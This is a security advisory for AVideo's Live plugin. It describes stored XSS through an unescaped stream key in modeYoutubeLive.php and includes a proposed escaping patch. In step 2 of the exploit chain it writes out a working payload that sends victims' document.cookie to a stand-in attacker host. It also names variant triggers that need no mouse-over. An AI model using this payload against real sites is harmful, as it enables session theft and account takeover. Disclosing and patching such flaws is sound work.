AVideo: stored XSS via unescaped stream key in modeYoutubeLive.php class attribute

Why it's wrong: an HTML attribute value must be escaped with htmlspecialchars(..., ENT_QUOTES, 'UTF-8') (or routed through a templating engine that does). The current <?php echo $livet['key'] ?> between class="…" and " lets the attacker close the attribute with ", append arbitrary attributes (onclick, onmouseover, style, srcset, …), or close the tag with > and inject a <script> block. The class-name context is the most-common variant of HTML-attribute XSS and is what Mozilla's secure-coding guide explicitly calls out as the "raw echo into attribute" anti-pattern. Other Live templates (menuRight.php, socket.js) only use key inside JS contexts where they pre-strip [&=], but modeYoutubeLive.php uses it directly in HTML attribute context where that strip is insufficient.

Exploit Chain

1. Attacker registers (or already holds) an AVideo account with canStream=1. On installations with advancedCustomUser.newUsersCanStream=1 this is satisfied by self-registration; otherwise the attacker uses an existing streamer or any admin. State: HTTP session is authenticated.
2. Attacker POSTs to https://target/plugin/Live/saveLive.php:

   key=" onmouseover="fetch('//attacker/x?c='+document.cookie)" x="
   title=t&description=d&password=p
   

   saveLive.php:8 confirms User::canStream(), line 30 calls $l->setKey($_REQUEST['key']) and the row is persisted with the literal payload value. State: live_transmitions.key for this user contains the XSS payload.
3. Victim visits the attacker's live page, e.g. https://target/plugin/Live/?u=<attacker-username>. The page is rendered through index.php -> view/modeYoutubeLive.php. Line 203 executes:

   <span class="title_liveKey_" onmouseover="fetch('//attacker/x?c='+document.cookie)" x=""><span>STREAM TITLE</span></span>
   

   State: a class attribute closed early, an onmouseover event handler attached, a stray x="" consumed, and the final closing " consumed by the next attribute. The HTML parses cleanly.
4. Victim moves their mouse over the title (this is the headline area of the player; mouse-over is incidental during normal play). The handler fires. State: fetch('//attacker/x?c=' + document.cookie) runs in the AVideo origin with whatever cookies the victim browser holds (session cookie, CSRF cookie, remember-me cookie).
5. Final state: the attacker's collector receives the victim's session credentials. From there the attacker authenticates to AVideo as the victim, escalating to admin if any admin opened the page; reads private videos; uploads content as the victim; or chains into other admin-only endpoints. With variant payloads (onerror on injected <img>, onload on injected <svg>, or simply > to close the <span> and inject a <script> block) the trigger does not require mouse-over.

Security Impact

Severity: sec-moderate. Stored XSS on the platform's primary rendering surface, planted by the lowest streaming tier and triggered by unauthenticated viewers. CVSS 6.4 reflects scope-changed (the stolen session belongs to a different security principal than the attacker), low confidentiality and integrity (cookies and DOM read/write within the AVideo origin), no availability. Attacker capability: with one canStream account and one HTTP request, the attacker plants persistent JavaScript that runs in any viewer's browser when they open the stream's live page. The script runs in the target origin, so it can: read non-HttpOnly cookies (session, CSRF), read DOM content, make CSRF-free authenticated XHRs against AVideo APIs, post-message into the AVideo player iframe, install a service-worker hijack, or pivot to admin actions if the viewer is an admin. The payload survives until the row is deleted from live_transmitions. Preconditions: AVideo deployment using the default modeYoutubeLive.php template (the YouTube-style live view, used by all standard skins); attacker has canStream rights (default-on for many streamer-platform deployments and always for admins); victim opens the attacker-owned live page. Differential: source-inspection-verified. The vulnerable template modeYoutubeLive.php:203 produces <span class="title_liveKey_<UNESCAPED_KEY>">…</span>. With the suggested patch (htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8') applied), the same input renders as <span class="title_liveKey_&quot; onmouseover=&quot;…&quot; x=&quot;">…</span>, which is a single class attribute containing literal characters; no event handler attaches. The asymmetry can be observed offline by feeding a poisoned key value to the template snippet:

$ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"title_liveKey_".$livet["key"]."\">test</span>";'
<span class="title_liveKey_" onmouseover="alert(1)" x="">test</span>     # XSS attribute parses
$ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"title_liveKey_".htmlspecialchars($livet["key"],ENT_QUOTES,"UTF-8")."\">test</span>";'
<span class="title_liveKey_&quot; onmouseover=&quot;alert(1)&quot; x=&quot;">test</span>   # one attribute, no handler

Suggested Fix

Escape the key when it is rendered into the HTML attribute. The same escape should be applied wherever the key reaches HTML context (other Live templates appear safe because they only use it in JS string contexts after replace(/[&=]/g, ''), but they should be reviewed in the same patch).

--- a/plugin/Live/view/modeYoutubeLive.php
+++ b/plugin/Live/view/modeYoutubeLive.php
@@ -200,7 +200,7 @@
                         }
                         ?>
-                        <span class="title_liveKey_<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span>
+                        <span class="title_liveKey_<?php echo htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8') ?>"><?php echo getSEOTitle($liveTitle); ?></span>
                         <small class="text-muted">
                             <?php
                             echo $liveInfo['displayTime'];

Defence-in-depth: also enforce a character allowlist on live_transmitions.key at write time (the autogenerator emits uniqid() which is hex-only, so ^[A-Za-z0-9_-]{1,64}$ is the natural allowlist) so that the field can never carry HTML metacharacters in the first place. That hardens any other future render site against the same primitive without a second escape audit.